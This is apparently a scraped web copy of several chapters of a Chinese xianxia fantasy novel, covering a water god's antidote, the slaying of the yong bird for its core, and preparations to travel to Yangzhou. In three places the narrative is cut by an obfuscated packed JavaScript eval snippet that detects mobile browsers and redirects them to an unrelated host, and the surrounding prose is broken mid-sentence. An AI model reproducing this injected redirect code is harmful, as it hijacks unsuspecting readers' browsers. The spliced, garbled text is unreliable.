“泽润!不要做这种自毁的事情!”隋垂枝趁着商扶庭分神,握着太初剑踏出了姜芜的结界,“放过我们,放过自己。” 隋垂枝垂眸,随即将太初剑搭在了自己的脖颈上,“我是一个屠户的女儿,因为饥荒,险些被父母易子而食,侥幸被掌教救下,成为万毒门的圣女。万毒门给予了我第二次生命,我是不会离开掌教身边的。而我最初接近你,只是为了弥补我所犯下的过错,救我在意之人,此生我对你不起,只有来生再还你。” 商扶庭察觉到了隋垂枝的意图,立刻大喊道:“隋姑娘不要!” 一道血线从隋垂枝的颈上破开皮肉顺着剑身滴落在地,绒花地毯顿时被腐蚀出几个黑洞。 泽润神情一紧,随即挥手震飞隋垂枝手中的太初剑,声音沉沉地道:“我不要来世,我只要今生,但你宁愿死也要同我划清界限,我便成全你,也放过我自己。” 姜芜抬手将太初剑接在手中,她仔细看着剑身上的纹路,伸手一一抚过。 泽润心如死灰地收了满地的弱水,“跟我来,我带你们去解毒。等他们回来,枝枝你便跟他们离开吧。离得越远越好,永远......都不要再回来。 泽润说完之后便抬脚离开了小屋。 寂满震惊地瞪大了双眸,“人类果然是满嘴谎言的伪君子,为了自己的目的不择手段,哄骗起来真是一点羞耻心都没有!” 隋垂枝长长地舒了一口气,随即跌坐在地。 沈确立刻上前,关切地问道:“隋姑娘,你没事吧?” 隋垂枝无声地摇了摇头。 沈确扭头怒视着寂满,“你说够了没有?” 寂满挑衅道:“怎么?你们人类不是讲求光明磊落吗?现下敢做不敢当了?还是说你们承认自己是小人?” “妖是不是都像你这样头脑简单,四肢发达。”沈确辩解道,“审时度势,变通取舍你懂不懂?隋姐姐的本意只是想救人,欺骗水神也是属于无奈之举,她也为此付出了代价,难道要让隋姐姐眼睁睁地看着扬州成为一片死地吗?水神只是被欺骗了感情,隋姐姐并未做出任何伤害水神的事情!这场意外中,谁都没得选!” 寂满说:“即便身不由己,情不由衷,但是能改变你们人类是骗子的事实吗?她最初可以带着自己的真实目的接近弱水的,敢做不敢当是不是?满口的仁义道德,真虚伪!” 沈确拂袖冷哼一声,“你!不讲理!” 姜芜及时制止了二人,“当下重中之重是解毒,而不是争论谁是谁非。” “我们走!”说完,寂满便扯着雾沅的袖子往外走。 “阿确,弱水之畔有毒障,你在这里看顾一下隋姑娘,我去取解毒之药。”说完,商扶庭便看向了姜芜,并朝着她伸出了手。 姜芜挑眉,将手中的太初剑递了出去,“怎么?还怕我抢不成。” 商扶庭摇了摇头,“刀剑无眼,小心一些。”说完,他便出门跟上了泽润的脚步。 【千年之前】 “这里这么美,却一点生机都没有,甚至比无幻之境内还要荒凉,多少有些可惜了。” 濯漪站在弱水之畔,看着四处的荒芜景色,面上流露出了一丝的不忍。 睢羲垂眸看着濯漪,伸手揉了揉她的长发,“因为是弱水,本身便具有毒性,又在水域上方形成了毒障,所以才造成了千里之内的荒芜。” 濯漪抬眸看着睢羲,她抿了抿双唇,神情有些哀伤,“若是将来有一日,这条河内孕育了水神或者是生灵,岂不是要忍受长久的寂寞?没有人说话会很无聊的。” 睢羲长久地看着濯漪没有说话,只是伸手抚开她脸上被吹乱的长发。 濯漪仰头久了便觉得脖颈有些发酸,索性靠在了睢羲的怀中。 “剧毒之物,三步之内必有解药。而弱水的解药,便是它自身。” 濯漪震惊地看着面前奔腾的河水,“这么有趣吗?即是毒药又是解药。” 睢羲的双眸中有着幽深的海,寂静的夜,广阔的湖海和巍峨的高山,濯漪看不懂那些情愫,只觉得其中沉沉,像是浓稠得难以化开的琥珀,以至于总有一股淡然萦绕于睢羲身侧,他像一块风吹不化的巨石,长久地伫立于原地。 “弱水看完了,该回去了,否则你的身子受不了。” 濯漪看着面前奔腾的黑色弱水,撇了撇嘴,故作不满地问道:“你为何不会受影响?一直说我受不了,其实我觉得还可以。” 睢羲合眸蹭了蹭濯漪的发顶,“想知道原因吗?” 濯漪来了兴致,眼眸亮晶晶地看着睢羲,“想,告诉我。” 睢羲松开了濯漪,挥袖之间便抽身离开。 “能追上我便告诉你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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泽润从水中盛起了一湾水,“弱水有毒,混着弱水水神精血的弱水却可以解天下百毒。女修罗,你知道的事情真的很多。”说完,他便抬手化了几粒混着精血的水珠,挥手之间便飞到了众人的面前。 姜芜取了瓷瓶将水珠盛了起来,“多谢。”说完,她便将瓷瓶递给了商扶庭。 泽润长长地舒了一口气,他缓慢地后退靠在了岸边,带起一片红色的波浪,“其实我也很想散开弱水河上方的漫天毒障,让小鸟儿们能够越过这里,让岸边长满汀兰香草。寂满,我不是有意破坏大荒规则与人类结合的,我只是太寂寞了,枝枝是唯一一个不怕我的,唯一一个敢靠近我的,为我带来了很多我不知晓的事情。这才让我在漫长的生命之中......感觉到了一丝的期盼。身为水神,我却只能困于方寸之地,名为泽润,本该泽润大地,但我给大荒带来的却只有死气。” 商扶庭将瓷瓶收至怀中,他不解地看着泽润,“既然如此,你为何要这么做?你只是需要陪伴缓解寂寞,并不是需要男女之情与后代,你们二人如此,根本没有未后代考虑过,毕竟人妖混血是不被两族接纳,你这是走了一条死路。” “男女之情?那是何种感情?我不懂。”泽润不解地看着商扶庭,“但是我听枝枝说起过,在人界男女之间产生爱慕之情便会结亲,除非生死离别,否则不会再有其他的事情会将他们分开。” 寂满说:“你就别再想了,虽然感情不差,但是她从接近你开始便是带有目的的,你们一切的一切都是她所创造出来的谎言,是幻境,堂堂水神,被人类骗了还死心塌地,真是有辱我大荒盛名。” “是我心甘情愿被她骗,我不想再一个人了,孤独寂寞的滋味太难捱了。”泽润苦笑了一声,“枝枝是万毒门的圣女,因为从小体质异于常人而被日日淬体,她被剥夺了自由,她也没有可以说话的人,我是唯一一个不怕她的......妖怪......和人,我们之间惺惺相惜,虽然你们现下看到了我们最不体面的时刻,但是枝枝在同我相处的过程中流露出的感情并不假。” “值得吗?即便她带着目的来,但是相遇的最初她是人类,即便是没有现下,终有一天她也会老去、死去。”商扶庭说,“而你享受到一刻的欢愉,漫漫余生难道要靠回忆渡过吗?” 16. 顒鸟 “起码我拥有过。”泽润无奈地一笑,“拥有过,尝试过,哪有十全十美的人生,强求若不得善果,那也算没有遗憾。” 寂满不解地说:“这又不是什么好东西,难道只有拥有了妖生才会完整吗?我们妖天生追求的就是至高无上的力量,而不是如同绊脚石一般的感情,那是只有弱小的人类才会追求的东西。” 雾沅垂眸,无意识地捻了捻藏在长袖中的手指,“其实有时候错过,或许是一件好事。生命之漫长,不是所有的东西都要一一体会才不枉此生。学习人类的感情,最先要懂得的应该是放弃,放弃自己的偏执,放弃自己的痴妄,放弃一切会让自己痛苦纠结的事情。” “我觉得妖族感情启蒙讨论大会可以就此结束了,我不想再听你们各自的见解了,渡过弱水猎杀火鼠才是最重要的事情。”姜芜上前一步,“泽润,解药应该是外敷还是内用?” “都可以。”泽润抬手让弱水之上覆盖上一层冰桥,“各位,请吧,从此地往西北行进几百里便是不烬木林。” 姜芜率先踏着冰桥渡过了弱水。 商扶庭取出瓷瓶,将里面的液体涂抹在了手指溃烂的地方,思忖了片刻后将瓷瓶交给寂满,语气诚恳地说:“寂满兄弟,麻烦你带着解药回去给我的师妹沈确,时不待人,我们现下要前往不烬木林猎杀火鼠。” 寂满下意识地准备接过瓷瓶,当他抬眸对上商扶庭的双眼时,立刻缩回了手,冷嘲热讽道:“你确定我交给我吗?我会在半路给你扔掉的,而且你们去杀火鼠为什么不带着我?” 商扶庭垂眸,随后笑着说:“火鼠这种低等妖怪,我们和雾沅一起便可,不需要再兴师动众地劳烦寂满兄弟。” “算你会说话。”寂满一把抢过瓷瓶,转身便往小院走去,片刻之后才反应过来,随即对着商扶庭大喊道,“你原来是嫌弃我修为低!我一定将解药给你扔到鸟不拉屎的犄角旮旯里去!” 姜芜见二人过桥,伸手搭在了商扶庭的肩膀上,“雾沅,可以吗?我们需要赶时间,尽可能的在今日太阳落山之前拿到火鼠之皮和顒鸟内丹。” 雾沅颔首,神情有些犹豫地问道:“顒鸟内丹一事,我们不再从长计议吗?” “速战速决。” 姜芜捉住商扶庭的肩膀,瞬间移动到了不烬木林之外。 三百里火木共存之林,冲天的火焰徐徐燃烧着,似此时却有了颓败的趋势,涂了蜜糖的火焰此时像柔纱一般,又像树叶一般附着在乌色的树枝上,热气扑面而来,百里无烟。 商扶庭眯了眯双眸,灼人的火焰熏得他白皙的脸颊泛红,见四下没有火鼠的踪迹,转头对姜芜说:“我有吸引妖兽的阵法,需要吗?” 一只成年男子手掌大小般的黑色蝴蝶落到了姜芜的肩膀上,“你们有何打算?” 姜芜气定神闲地瞥了商扶庭一眼,“先用用长衡山的办法吧,看看能不能将火鼠吸引过来。” 商扶庭颔首,他合眸竖起剑指抵于眉心的位置,启唇轻念法咒,冰蓝色的光芒汇聚于他的指尖,随即他睁开双眸迅速临空画起符咒和阵法。 随着商扶庭的一声轻呵,阵法瞬间大成,顺着他的心意迅速扑向了灼灼燃烧的火林。 但是,一盏茶的功夫过去,四周依旧是静悄悄的,没有一丝火鼠的影子。 商扶庭蹙眉,神情有些不解,“不该如此。” 雾沅倏地化作人形,“不烬木之火尚未熄灭,按理来说现下还是火鼠活动的时日才是,多少有些诡异了。” “既然阵法不行,那就试试其他的方法。”说完,商扶庭伸手解下了腰间的驱妖香,往自己的身上点了几处穴位,让自身的气息外溢。 姜芜俯身,她撑起手掌,指腹虚虚贴于地面,黑红色的戾气顺着她的指尖渗透于地面之中,延绵数千里,随着她抬手的动作,一些黑色的戾气被勾了出来,缠绵于她的手掌,又化作环形勒紧她的腕子,倏尔又松开。 “不用找了,千里之内已经没有火鼠的踪迹了。” “怎么会?!” 雾沅话音刚落,一阵罡风伴随着鸟鸣平地而起。 姜芜抬袖为自己挡风沙,余光却瞥见赤红色的顒鸟俯冲向了商扶庭,她只能暂且用戾气化成束带,飞缠住顒鸟的跗跖,灼热的气息在瞬间反噬至她的掌心。 商扶庭大惊,顿感头皮发麻,只见半空中挥动着翅膀的顒鸟,恍若一只巨大的夜枭,翎羽杂乱而宽扁,呈现出一种灰褐色,诡异之处便在于鸟身之上竟然生着一只人头,类人般的脸上罗列着上下两对眼睛,白面黑眼,不见眼白的踪迹,口鼻之处又是一对巨大的鸟喙,可怖程度异乎寻常。 此事,顒鸟那双漆黑的双眸正死死地盯着商扶庭,口中发出桀桀如夜枭般的叫声。 “商扶庭!” 商扶庭从见到顒鸟的震惊中回过神,随即闪身至一旁,太初剑出鞘,冰蓝色的术法顿时附着于剑身之上,他转身的瞬间便持剑朝着顒鸟刺去。 雾沅大喊,“莫要心急!” 顒鸟周身火焰大盛,直接挣脱开姜芜的束缚,它扇动双翼至半空中,张开鸟喙朝着向它袭来的商扶庭喷出一口烈焰。 姜芜见状立刻飞身上前,展开一道结界将商扶庭护在身后,随口调侃道:“你这小道士,未免也太莽撞了些,这顒鸟好歹是万年大妖,岂能是你这种金丹期修士能近身的?” 商扶庭问道:“你说该如何?” 姜芜凝眸迅速在顒鸟身上勘察片刻,只见起腹部左三寸处有一道伤口,浓稠的血液正淋漓不尽地从那处低落,热气腾腾的内脏也从伤口破洞处垂落。 姜芜对商扶庭说:“它腹部左三寸有一道伤口,着重攻击那处。” 商扶庭颔首,“好!” 顒鸟高鸣一声,它扇动自己的双翼,带起罡风逼退商扶庭,“妖族岂与人族混在一起,屠尽这满山火鼠!实在是可恶!” 商扶庭蹙眉,不动声色地看了一眼姜芜。 雾沅上前一步,“为何会发生此事?” 顒鸟并不解释,只是一味地朝着商扶庭扑去,“都是你们人类的错!全都是你们人类的错!” 商扶庭后退半步,拉开双臂,掐诀念咒,一剑斩开扑面而来的沙风,随即脚踏北斗天罡七星步,直冲顒鸟。 一阵烈火袭来,商扶庭迅速抬手,冰蓝色的七宝结界在他面前展开,顒鸟的火扑在上面也只是击碎了一层结界。 顒鸟之火,生生不息,大半个天空都铺满了赤红色的火焰。 姜芜叹了一口气,她虚空一抓,一条裹着黑色戾气的长鞭凭空出现,她抬手一甩,直冲顒鸟,在漫天烈焰之中,一击便抽出了一条裂缝。 商扶庭趁机而上,准备一剑刺入顒鸟的旧患,直接了结它的性命。 姜芜呵斥道:“商扶庭,回来!” 顒鸟冷笑一声,见商扶庭着了它的道,立刻张开巨大的鸟喙,准备将后者吞入肚腹之中。 雾沅飞身上前,黑金色的纱袍被风扬起,紫黑色的迷雾从他的袖袍中散出。 顒鸟神情一怔,便看到凭空出现了多个商扶庭,它无法辨别霰雪蝶的幻术,只能将几个幻影一一击破。 雾沅伸手按了一下被鸟喙擦到的左臂,随即对商扶庭说:“你太莽撞了些。” 姜芜立刻上前顶替了商扶庭的位置,甩动手中的长鞭,打散顒鸟振翅的频率,随即她手腕翻转,长鞭手柄末端立刻弹出两指宽的六寸长剑。 顒鸟见状立刻扇动翅膀,落荒而逃。 商扶庭见状,暗道糟糕,“顒鸟要跑!” 姜芜迅速上前,锋利的剑刃围绕着顒鸟纤长的脖颈一转,白光一闪,如瀑布般的血液飞溅而出。 顒鸟身体一颤,极速从空中降落。 姜芜挥手,十二道黑红色的戾气从天而降,刺入顒鸟巨大的身体之中,令它难以动弹。 “内丹要活取。” 商扶庭看着浑身抽动挣扎的顒鸟,鲜红的血液从它的伤口中汩汩流出,神情有些凝重,“此地千里之内没有火鼠的踪迹,我们该如何收纳顒鸟内丹?” “呵。” 顒鸟冷笑一声,“原来你们想要我的精火?怪不得有人先你们一步屠杀了所有的火鼠,看来是不想让你们轻而易举的得到,可惜了。我的精火可屠烧世间万物,离体之后会迅速熄灭,不过......” 商扶庭追问道:“不过什么?” 雾沅面色有些凝重,他欲言又止地看着姜芜。 顒鸟的眼睛看向商扶庭,片刻后桀桀地笑了起来,“不过,我不想说哎。” 姜芜挥手的瞬间便让顒鸟头身分离,立刻取出了它体内的妖丹,赤红色的妖丹裹着烈火被姜芜用戾气包裹着握在手中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106426|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商扶庭不满于姜芜的做法,“你应该先听他说完的。” 姜芜面上风轻云淡地说:“不必如此,没有火鼠皮毛也没关系,只需要去荆州寻到避火瓶即可,这段时间我可以保证顒鸟精火不灭。” 商扶庭蹙眉,他看了一眼身上被烧穿的衣服,长衡山的校服绣满了护体符咒,现下被顒鸟轻而易举地烧至损毁,可见其精火之烈。 商扶庭即便是不认可姜芜的提议但也没有再多说一些,他看着姜芜,心中总有几分顾虑,怕后者另有所图,但此时却没有更好的办法。 顒鸟之火可焚烧世间万物,放在谁的身上都是死路一条,唯独放在姜芜身上,她可以搏一条生路。 “那只能如此的,只是你的身子......可无碍?” 姜芜面上闪过一丝讶然,随口调侃道:“哟,小道士,你也会挂心人了?你放心,我可是强大的修罗。” 商扶庭偏过头,面无表情地说:“你不算人。” 顒鸟的尸体迅速消散,一颗白皮火纹蛋遗留在了原地。 商扶庭上前将一掌宽的蛋捧了起来,“这是顒鸟幼兽?” 雾沅否认,“并非,看此上花纹,应该是其他妖兽的蛋,只是不知为何会出现在顒鸟身上。” 商扶庭看向雾沅,追问道:“该如何处置?” 雾沅回道:“可以送到昆仑山,尊上会扶养。” 姜芜看了一眼那颗灵气充沛的兽蛋,“以昆仑山目前的灵气来看,未必会让它顺利破壳,你可以留在身边,将它带出大荒,将来有一日它破壳诞生,可以驯化成灵宠。” 雾沅对于姜芜的说法有些不满,当即反驳道:“大荒妖族,天生地长,繁衍生息至今,怎可被人类当作奴隶?呼来唤去?” 姜芜垂眸看着那只兽蛋,上前轻抚了一番那如玉一般的外壳,“不是奴隶,是宠物,为了这个小道士漫漫修仙之路上,能有个可爱的小家伙陪伴。雾沅,你难道还担忧它将来跟着商扶庭这样的小道士会涉险吗?让小道士从小养育它,看着它破壳,看着它长大,也算是一种体验,一种修行。” 雾沅无言。 商扶庭垂眸看着手中的兽蛋,轻轻抚摸着上面的妖纹,感受着其中充沛的灵气,姜芜所说的是他从未设想过的,虽然人妖势不两立,但是稚子无辜。 商扶庭起身,右手小心翼翼地托着兽蛋,神情郑重地对雾沅说:“我会好好待它的。” 雾沅心头大震,片刻后才迟缓般地点了点头,“劳烦了。” 寂满乐此不疲地同沈确斗嘴,看着后者面红耳赤的模样,心里得到了极大的满足。 沈确冷哼了一声,随即偏过头不再搭理寂满,接着她便看到了朝小院走来的商扶庭,她步伐欢快地迎了上去,“师兄,你回来了,可是取到了火鼠皮毛?” 商扶庭摇了摇头,目光落到了沈确的双手上,见上面光滑白皙没有一丝伤痕才放下心来。 沈确担忧地问道:“是......是出了什么意外吗?” 商扶庭安抚般地一笑,“都已经解决了,虽然没有取到火鼠皮毛,但是我们取到了顒鸟精火。” 沈确眉心拢得更紧了,“没有火鼠皮毛,我们该如何储存顒鸟精火?” “别担忧,顒鸟精火现下在姜芜那处,她会帮我们好好保存的。”商扶庭拍了拍沈确的肩膀,适时地茬开了话题,“隋姑娘收拾好了吗?我们该出发离开这里了。” 沈确心中的疑惑更深,见商扶庭如此,她也只好将疑虑按下暂且不表,“我们可是要准备前往无幻之境寻找剩下的圣物?” 商扶庭摇了摇头,“不,我们要去荆州寻避火瓶一用。” “天色不早了,休息一晚再走也不迟,反正小院这么大,空房间也不少。”姜芜臂弯中搭着氅衣,步履匆匆地路过二人,“而且,我们离开大荒后并不去荆州哦。” 商扶庭蹙眉,“那去何处?” 姜芜停下脚步,她转身越过二人看向不远处的雾沅,微笑着说:“去扬州哦。” 寂满问道:“去扬州做什么?” 姜芜看向寂满,笑容渐深却不达眼底,“当然是先送隋姑娘回家,莫非我们要带着一个身怀六甲之人前往无幻之境吗?拜托,我带着你们便已经很辛苦了好吗?此行一切听我安排,不需要你们的建设性意见,而且我也答应过一只妖朋友。” 17. 复苏 雾沅心头一动,他看向姜芜,心口泛起一股绵绵意。 是夜,月光凉如秋水。银盘一般的明月半挂在空中,细风四起,阵阵扬扬。 姜芜走至弱水河畔,见泽润依旧保持着原先的动作,她卸力坐在河畔,长长地舒了一口气。 泽润垂眸看了一眼自己的双手,“神树复苏了,你是做的吗?修罗。” 姜芜问道:“我这算是善事一件吗?” 泽润沉思了片刻,“我并不知晓,但是如果这件事情能让你减轻几分心中的愧疚,或许是善事一件吧。” 姜芜双手撑在身后,她仰头看着漫天满天的繁星,“你有什么想让我带给隋垂枝的吗?” 泽润摇了摇头,随后又凝了一颗水蓝色的珠子,屈指一弹珠子便飞至姜芜面前,“如果可以的话,便劳烦你将这个带给她吧,将来有一天若是她反悔了,或者有需要我的地方,只要捏碎这颗珠子,我便可在顷刻之间来到她的身边。” 姜芜伸手捏住面前的珠子,水蓝色的光芒映衬着她姣好的面容,在其上平添了几分冷意,“水神,你觉得她会在何时需要你?反悔的时候吗?她为何会反悔呢?” 泽润说:“人类渺小,生命短暂,对于妖来说,他们情感丰沛,但是人类穷极一生都无法参透七情六欲,佛讲求拿起放下,但是人类却只能拿起,无法放下,所以他们痛苦的根源便是来自此处,他们因此而故步自封,七情六欲是恩赐也是枷锁,是甜汤也是毒酒。所以我并不觉得妖族不理解七情六欲有何好惋惜的,所以......倘若将来有一天,枝枝后悔了,我希望我就是她的退路。” 姜芜轻笑了一声,她起身从纳袋中取出两坛江心月,“听嘲风说你酷爱酒,这是天都城的江心月,千金难求,要尝尝吗?” 泽润转身,神情有些差异地看着姜芜,“请我喝酒吗?” 姜芜将酒坛塞进了泽润手中,不由分说地碰了一下他的酒坛,“希望你从此有归有处,有得选。” “你不怕我的毒?” “我不怕。” 雾沅一身黑衣坐在小院观景台内的石凳上,外罩的轻纱衣似水一般从他的肩膀流淌至地面,带着风的形状。 他垂眸看着自己的手,那种久违的灵气充盈于经脉的感觉,这是一种很久不曾在大荒内出现的感觉。 灵气回来了。 这一瞬间的感觉,让雾沅眼眶湿润。 “早知有人在这里守着,我便直接回房间了。” 雾沅眨了眨双眸,将眼眶内的那丝潮意散去,他起身看着姜芜关上院门,然后径直往房间内走去,身形略有伛偻。 “为何要如此?” 雾沅心中退去了方才的澎湃,逐渐冷静了下来,因为昆仑山阵法的原因,大荒的灵力源源不断地流向人间,残留下来的灵力根本不能支撑整个大荒妖族,甚至无法让幼兽化形,千万年的大妖也因为灵力的匮乏而难以再精进一步,甚至生命力枯竭而死亡。 没有灵力,大荒危在旦夕。 如今,灵力虽未重归巅峰,但神树复苏,延缓了大荒妖族的倾覆。 “因为这么做,我功德无量啊。”姜芜垂眸一笑,她偏头看向雾沅,“时间不早了,早点休息吧,明日还要早起赶路。” 雾沅走至姜芜身侧,不确信地问道:“你当真要帮我找寻当年的真相吗?” 姜芜脸上笑意更深,“不信我啊?但是,我似乎并没有骗过你们何事吧?” “你是没有欺骗过我们,但是你对我们隐瞒了很多。”雾沅蹙眉,“姜芜,当初是你说过要交换故事的,我和王小姐的故事已经说完了,现在该轮到你了。” “你好奇心真的很重。”姜芜话锋一转,神情略有娇俏,“可那都是女子的过往呢,怎么能告诉你一个毫不相关的外男呢?” 姜芜说完便笑出了声。 雾沅神情无奈地看着姜芜,片刻后他幽幽地叹了口气,“需要我扶你吗?” 姜芜笑着偏了偏头,拒绝了雾沅的好意,随即步履缓慢地回到了自己的房间。 “希望你今夜做个好梦。” 姜芜伸手合上了房门,接着密密麻麻地汗珠爬上了她的额头,她转身用后背死死地抵住房门,抬手撩起了自己的广袖。 黑色的戾气如图腾一般顺着她的小臂向上爬着,直到圈紧了她的脖颈。 姜芜伸长纤细的脖颈,下意识地伸手去扯,妄图从其中给自己几分喘息的机会,却也只能无意识地跌坐在地,像是从水中捞起的破碎蝴蝶。 “濯濯,难受吗?” 姜芜睁开汗湿的双眸,她一瞬不瞬地看着面前的睢羲,突然冷笑了一声,“我也就是不小心,所以才着了你的道。” 睢羲闻言挑眉,他缓慢地直起了腰身,华丽的墨蓝色长袍随着他的动作而倾泻,上面的宝石映着屋内的月光闪过姜芜的双眸。 姜芜放弃了挣扎,她偏过头不再去看睢羲,呼吸有些急促。 睢羲面不改色地矮身,抬起手仔细地擦着姜芜面上和脖颈上的汗珠,“濯濯,跟我回去。你看,你现在连这种小把戏都无法解开。” 姜芜喘匀了气,冷笑了一声,“所以你现下如果对我动手,我绝无还手之力。” 睢羲垂眸,他伸手覆盖在了姜芜布满黑色戾气的右手上,顺着细腻的肌肤与坚硬的骨骼往上,一路感受着她滚烫的体温,另一只手掐住她的腰,拇指按在了神阙穴上。 “你将顒鸟的内丹温养在了这里,真觉得自己是什么铜墙铁壁钢铁之躯吗?” 姜芜睁开双眸,看着睢羲近在咫尺的面容,突然伸手扯住了他掐在自己腰上的手按在了自己的胸口处,“心脏的位置在这里,你如果想要活下去,或许我的心脏才是最好的。无幻之境内,没有谁的心脏比我的更适合你。” 睢羲本就对姜芜不设防,被她这么随意的一扯,整个人都扑了过去,他及时抽手用小臂抵在了门板上,将姜芜整个人都拢在了怀中。 熟悉的气息铺面而来,两人都有些心猿意马。 “濯濯......我杀了不烬林的所有火鼠,重伤了顒鸟,你可会感谢我?你帮他们以燃烧自己贮存顒鸟内丹,他们可会感谢你?” 姜芜眼底血光一闪,趁着睢羲空门大开,抬手拍向了他的檀中穴。 睢羲整个人被姜芜震开,偏头呕出一口鲜血,他怒视着姜芜,随即周身被滚滚黑雾所包裹,一只木偶随着黑雾的散去而掉落在地。 木偶之上已经有了深深的裂痕。 姜芜长长地舒了一口气,原本束缚着她的黑色戾气也顺着她的皮肤纹理退去,成为了她右手手腕处一道扎眼的黑色图腾,她起身将地上的木偶捡了起来,随即将木偶摧毁,双眸中恨意滔天。 竖日一早,初晨的阳光带着暖意逐渐铺满了狂风席卷一夜的大荒,驱散了其中的寒意。 商扶庭赤/裸着上身在庭院中练剑,五行道宗剑式,一招一势走得都是大开大合。 姜芜坐在小院凉亭中煮着茶,整个人沐浴在晨曦之中,暗红色的中衣在白色外袍的映衬下更加的夺目。 商扶庭收起剑势,取了帕子擦干净身上的热汗,更换了新的中衣和外袍,提着剑坐到了姜芜的对面,欲言又止地看着她。 姜芜头也不抬地烫杯沏茶,随后垂眸端起了自己的茶盏,小口啜饮着其中的热茶。 商扶庭盯着姜芜,看着浮光在她脸上作用,将她脸上的绒毛染至透明,熄灭了她瞳孔中的血色,浸透成上好的琉璃琥珀,最后落在她嫣红饱满的双唇上,似乎也格外偏爱她的唇珠,蜜色的光芒做成了视觉上的错误,在唇珠上形成了一颗透明的、将落未落的水珠。 商扶庭匆匆移开视线,率先开口道:“你没有想说的吗?” 姜芜放下茶盏,将目光缓慢地移动到了商扶庭的脸上,脸上缓缓地浮现出笑意,“怎么看都像是你有话要问我吧。” 商扶庭斩钉截铁地说:“我觉得你知晓不烬木林中发生了何事。” “那又如何?”姜芜挑眉,“你想知晓其中的缘由吗?” 商扶庭垂眸,嚅嗫道:“难道是因为睢羲?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106427|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜芜毫不意外,随即没有任何隐瞒地应了一声,“没错。” “他在阻止你?” 姜芜挑眉,唇角带着笑意,“这不是显而易见吗?而且我们是在做封印无幻之境的事情,他身为修罗,阻止我们不是很正常吗?” 商扶庭蹙眉,“你们的关系......很好吗?” 姜芜应了一声,“我从小跟着他长大。” 商扶庭面色凝重地捻了捻手指,“你们是......父女?” 姜芜偏头,苦笑着勾起唇角,“不太对。” 商扶庭抬眸看向姜芜,语气中带了一丝难以察觉的急切,“兄妹?” 姜芜端起杯子抿茶,脸上浮现出一丝的揶揄,“小道士,你对我的过往也未免太过于上心了。他们是因为知晓的太多,所以迫切想从当事人那里寻求个答案,你呢?” 商扶庭一惊,这才发觉自己的逾矩,他偏过头掩盖般地低咳了几声,随即继续问道:“既然他要阻止我们封印无幻之境,你身为修罗为何要帮我们?” 姜芜沉默了片刻,随即幽幽地叹了口气,“你就当作是......我是好人,他是坏人吧,当然同样的道理,在他那边我就是一个坏人。” 商扶庭有些不认同姜芜的说辞,“你不是人。” 姜芜脸上的笑容有些无奈,“好吧,我是修罗。” 商扶庭沉默了片刻,随即拿起茶杯将其中微凉的清茶一饮而尽,“你倘真要去扬州?” “茶要趁热喝。”姜芜重新给商扶庭沏了茶,“对于去扬州一事,小道士你有异议?” 商扶庭慢慢品起了杯中的热茶,“我只是觉得昆仑山距离扬州路途遥远,如果我们去幽州借到避火瓶,先解决顒鸟内胆一事,或许对你的身子、对顒鸟精火都好。” 姜芜说:“去扬州,一是送隋姑娘回万毒门,二是帮雾沅查清楚当年之事,三是搞清楚我心中的疑惑。” 商扶庭问道:“你心中有何疑惑?” 姜芜浅浅一笑,见商扶庭喝完了热茶,随即挥袖将茶具收进了纳袋之中,“他们差不多该醒了,我们也该启程了。” 商扶庭见姜芜转身欲走,急忙上前问道:“你是不打算同我说吗?” 姜芜神情奇怪地看着商扶庭,“你这小道士,好生有趣,这是我自己的事情,为何要同你讲?” 商扶庭点了点头,“我并不是强制要求你坦诚,只是你既然要答应帮助五行道宗寻找修补无幻之境结界的圣物,那么随你而来的一些麻烦,希望你能处理好。” 姜芜轻笑,“我只能解决睢羲的事情,假若修罗王集结众修罗,预备冲破无幻之境,大肆侵犯人间,这种事情算是随我而来的麻烦吗?也需要我处理好吗?” 商扶庭语塞,片刻后点了点头,“当然,毕竟你是大修罗,既然投诚人类,就应该为人类鞠躬尽瘁,死而后已。” 姜芜面色不变,轻笑出声,“我尽量,以我一人之力也无法阻挡万千修罗大军。” 沈确背着行囊从房间内出来,见隋垂枝一身轻装连个随身的包裹都没有,忍不住问道:“隋姑娘,你没有想带的东西吗?” 隋垂枝摇了摇头,她伸手抚了一下腰间的长鞭,“这里的都是累赘,不如不带。” 姜芜走上前,将泽润给的珠子递给了隋垂枝,“这是水神让我给你的,如若将来你有需要,可以随时唤他,他说这是他欠你的。” 隋垂枝苦笑一声,她偏头躲开,抬手拂开姜芜递到面前的珠子,“他自作多情了,他本就不欠我任何,是我欠他的。” 姜芜问道:“今生因,来生果,若是因果同在今生,来生必定自由,再无牵扯。你欠他的是今生偿还,还是来世再报?” 隋垂枝垂眸看着姜芜指腹间水蓝色的珠子,思忖了片刻后将珠子收进了怀中,“希望来生能再无牵扯,我们走吧。” 寂满抻着懒腰从房间内走了出来,“这一觉睡得可真舒服,我们要如何前往扬州?” 姜芜说:“先离开大荒,到伏龙镇租辆马车吧。” 18. 抛饵 【大荒边境·昆仑山脉】 寂满回头看了一眼巍峨的昆仑山,心情郁郁,“现在离开大荒也不知道什么时候才能回来,虽然之前我总是想着往外跑,但是今天不是偷跑出去的还有些不习惯。” 雾沅安抚般地拍了拍寂满的肩膀,开口宽慰道:“很快,他们收集圣物的速度并不慢。” 